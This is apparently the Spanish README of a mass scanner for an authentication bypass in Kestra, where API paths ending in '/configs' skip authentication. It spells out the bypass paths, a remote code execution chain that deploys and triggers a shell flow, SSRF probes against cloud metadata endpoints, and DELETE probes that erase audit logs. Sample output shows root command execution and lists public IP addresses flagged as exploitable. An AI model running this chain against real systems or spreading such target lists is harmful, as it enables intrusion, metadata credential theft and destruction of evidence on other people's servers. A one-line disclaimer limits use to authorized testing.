
Comprobador de vulnerabilidades de bypass de autenticación en Kestra
Escanea instancias de Kestra para detectar la omisión del filtro de autenticación endsWith("/configs"). El AuthenticationFilter.java de Kestra verifica request.getPath().endsWith("/configs") en lugar de coincidir con la ruta exacta /api/v1/configs. Dado que Kestra direcciona los recursos mediante segmentos de ruta elegidos por el llamante (namespace, ID de flujo), cualquier ruta que termine en /configs omite la autenticación básica permitiendo la creación de flujos no autenticada y RCE. (CVSS 10.0)
Referencias:
GET /api/v1/configs (debe devolver 200; el cuerpo de la respuesta se analiza para obtener la versión de Kestra)GET /api/v1/{tenant}/flows (debería devolver 401/403 si la autenticación está aplicada)/configs; si alguna devuelve un código distinto de 401/403 mientras la comprobación de autenticación aplica, la instancia es vulnerable--aggressive) también envía solicitudes PUT para confirmar la capacidad de omisión de escritura--rce) cadena completa: crear flujo shell/python → desencadenar ejecución → recuperar registros → confirmar ejecución de código → limpiar--ssrf) crea un flujo con http() de Pebble dirigido a metadatos en la nube de AWS/GCP/Azure y puntos finales internos, luego verifica los registros en busca de evidencia--destructive) envía DELETE a flujos, paneles y rutas de omisión de registros para confirmar la omisión de operaciones destructivas| Sonda | Método | Ruta | Descripción |
|---|---|---|---|
| Configs públicos | GET | /api/v1/configs | Comprobación de actividad + extracción de versión |
| Normal protegido | GET | /api/v1/{tenant}/flows | Línea base de aplicación de autenticación |
| Omisión de flujos | GET | /api/v1/{tenant}/flows/{namespace}/configs | Omisión de listado de flujos |
| Omisión de ejecuciones | GET | /api/v1/{tenant}/executions/{namespace}/configs | Omisión de ejecuciones |
| Omisión de KV Store | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | Omisión de lectura de KV |
| Omisión de paneles | GET | /api/v1/{tenant}/dashboards/configs | Omisión de paneles |
| Omisión de registros | GET | /api/v1/{tenant}/logs/{namespace}/configs | Omisión de acceso a registros |
| Omisión de plantillas | GET | /api/v1/{tenant}/templates/{namespace}/configs | Omisión de lectura de plantillas |
--aggressive)| Sonda | Método | Ruta | Descripción |
|---|---|---|---|
| Omisión PUT de flujos | PUT | misma que Omisión de flujos | Crea un flujo mínimo debug.Return |
| Omisión PUT de KV | PUT | misma que Omisión de KV | Crea una entrada KV {"scanned": true} |
--destructive)| Sonda | Método | Ruta | Descripción |
|---|---|---|---|
| Omisión DELETE de flujos | DELETE | misma que Omisión de flujos | Elimina un recurso llamado "configs" |
| Omisión DELETE de paneles | DELETE | misma que Omisión de paneles | Elimina un panel llamado "configs" |
| Omisión DELETE de registros | DELETE | misma que Omisión de registros | Destruye registros de auditoría |
--rce)Se ejecuta solo cuando se confirma la omisión de autenticación. La cadena completa según el aviso:
| Paso | Método | Ruta | Descripción |
|---|---|---|---|
| 1. Crear flujo RCE | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Despliega un flujo con io.kestra.plugin.scripts.shell.Commands (echo <marcador>, id, hostname). Recurre a io.kestra.plugin.scripts.python.Script en caso de fallo. |
| 2. Desencadenar ejecución | POST | /api/v1/{tenant}/executions/{namespace}/configs | Inicia el flujo mediante la ruta de omisión |
| 3. Consultar registros | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Consulta hasta --poll-retries veces (predeterminado 10) cada --poll-interval segundos (predeterminado 3) buscando el marcador RCE único |
| 4. Limpiar | DELETE | misma que paso 1 | Elimina el flujo desplegado |
--ssrf)Se ejecuta solo cuando se confirma la omisión de autenticación:
| Paso | Método | Ruta | Descripción |
|---|---|---|---|
| 1. Crear flujo SSRF | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Despliega una tarea debug.Return con llamadas http() de Pebble a AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) e interno (127.0.0.1:8080/api/v1/configs) |
| 2. Desencadenar ejecución | POST | misma que paso 2 de RCE | Desencadena el flujo |
| 3. Consultar registros | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Verifica indicadores de metadatos en la nube (ami-, i-, 169.254.169.254, metadata.google.internal, etc.) |
| 4. Limpiar | DELETE | misma que paso 1 | Elimina el flujo desplegado |
posicional:
target URL de destino única (ej. http://localhost:8080)
opciones:
-f, --file Archivo con destinos (uno por línea)
-t, --timeout Tiempo de espera de solicitud en segundos (predeterminado: 10)
--verify-ssl Verificar certificados TLS
-j, --json Salida JSON a stdout
-o, --output Escribir informe JSON a un archivo
--tenant Nombre del inquilino (predeterminado: "main")
--namespace Espacio de nombres para rutas de omisión (predeterminado: "tutorial")
-w, --workers Número de hilos para escaneos masivos (predeterminado: 10)
-a, --aggressive Enviar solicitudes PUT para confirmar omisión de escritura
-P, --auto-ports Puertos para expansión automática (predeterminado: 8080 8081 8088 8091 80 443)
sondas avanzadas:
-r, --rce Habilitar cadena de verificación RCE (flujo shell + python,
desencadenamiento de ejecución, recuperación de registros, limpieza automática)
-s, --ssrf Habilitar detección SSRF (http() de Pebble a puntos finales
de metadatos en la nube, recolección de evidencia basada en registros)
-d, --destructive Habilitar sondas DELETE en flujos, paneles y registros
(ELIMINARÁ recursos en instancias vulnerables)
--poll-interval Segundos entre consultas de registros para cadenas RCE/SSRF (predeterminado: 3)
--poll-retries Intentos máximos de consulta de registros para cadenas RCE/SSRF (predeterminado: 10)
Desglose completo por sonda con enriquecimiento (versión, RCE, SSRF, estado DELETE) y veredicto:
====================================================================
Destino: http://10.0.0.1:8080
Marca de tiempo: 2026-06-30T12:00:00+00:00
====================================================================
Versión: 1.3.20 (AFECTADA)
RCE: CONFIRMADO vía shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTADO
| Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080
OMISIÓN DELETE: CONFIRMADA omisión de autenticación en operaciones destructivas
[Omisión de flujos]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Estado: 200
Omisión: SÍ
[Omisión de ejecuciones]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Estado: 404
Omisión: No
...
── Cadena de verificación RCE ──
Creación de flujo: 201
Desencadenamiento de ejecución: 201
Evidencia en registros: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Limpieza de flujo: 204
── Cadena de detección SSRF ──
Creación de flujo: 201
Desencadenamiento de ejecución: 201
Evidencia: 200
Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080
Limpieza de flujo: 204
[VULN] Veredicto: VULNERABLE ...
====================================================================
Tabla columnar ordenada con columnas de banderas RCE/SSRF/DEL:
========================================================================================================================================
RESUMEN DE ESCANEO MASIVO GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Destino Auth Flujos Ejec KV Panel Regs Plant RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 SÍ SÍ SÍ RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - SÍ VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SEGURO
...
========================================================================================================================================
Total: 258 | Vulnerables: 5 | RCE Confirmado: 1 | SSRF Detectado: 1 | Omisión DEL: 2 | Seguros: 29 | Inconclusos: 224
========================================================================================================================================
Códigos de salida: 0 = sin vulnerabilidades, 1 = vulnerabilidad encontrada, 2 = todo inconcluso.
Al usar -j o -o, la salida incluye campos de enriquecimiento por destino:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
El escáner extrae automáticamente la versión de Kestra de la respuesta GET /api/v1/configs y la clasifica:
| Versión | Clasificación |
|---|---|
<= 1.0.44 | AFECTADA (rama 1.0, antes del parche) |
>= 1.0.45 | Parcheada (rama 1.0) |
1.3.0 1.3.20 | AFECTADA (rama 1.3, antes del parche) |
>= 1.3.21 | Parcheada (rama 1.3) |
>= 1.4.0 | Parcheada (más reciente que el rango afectado) |
| Desconocida | Versión no encontrada en la respuesta |
Esto utiliza una comparación consciente de la rama, ya que Kestra mantiene ramas de parche separadas (1.0.x y 1.3.x).
Requiere Python 3.10+.
pip install -r requirements.txt
python main.py --help
Solo para pruebas defensivas autorizadas. Las banderas --rce y --destructive crean y ejecutan recursos reales en el destino. Siempre obtenga la autorización escrita adecuada antes de escanear sistemas que no posea.